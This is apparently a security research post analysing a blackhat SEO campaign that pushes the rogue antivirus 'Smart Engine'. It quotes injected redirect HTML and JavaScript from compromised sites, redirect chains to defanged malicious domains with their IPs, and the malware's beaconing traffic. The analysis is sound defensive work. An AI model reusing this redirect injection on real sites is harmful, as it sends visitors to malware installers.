BlackHat SEO Campaign used to spread Smart Engine
A new blackhat seo campaign is distributing the setup installer of the new rogue security software named Smart Engine. The spreading status looks like to be pretty aggressive, we have logged more than 2000 infected websites that are used to capture popular keywords and to redirect users to malicious urls or other fake scanner pages, with the intent to install the rogue software installer.
When an user clicks on an infected url, there is a redirection:
<html> <head> <title></title> <meta http-equiv="refresh" content="0; url=hxxp://www4.get-bestlink3 .co.cc/?30650ebe=XXX"> </head> <body> <script language="javascript"> self.location.href = "hxxp://www4.get-bestlink3 .co.cc/?30650ebe=XXX"; </script> <a href="hxxp://www4.get-bestlink3 .co.cc/?30650ebe=XXX">Please Click Here</a> </body> </html> |
Domain & IP Analysis:
www4.get-bestlink3 .co.cc
209.212.149.22 – ip-209.212.149.22.servernap.net
Another redirection:
HTTP/1.1 302 Moved Temporarily Location: hxxp://www2.best-install10 .co.cc/?p=XXX |
Domain & IP Analysis:
www2.best-install10 .co.cc
212.117.168.150 – ip-212-117-168-150.server.lu
And now we can see the fake scanner page:

After few times, it is prompted the download of an executable:

The malware queried an external url to get our remote IP:
GET /get_ip.php?loc= HTTP/1.1 Host: www.myip .ru |
After few time, we noticed a connections loop:
HEAD / HTTP/1.1 User-Agent: Sm17a_2211 Host: 74.125.45.100 HEAD / HTTP/1.0 User-Agent: Sm17a_2211 Host: 74.125.45.100 HEAD / HTTP/1.0 User-Agent: Sm17a_2211 Host: 74.125.45.100 |
It looks like it tried to connect to google IP to see if the victim is online.
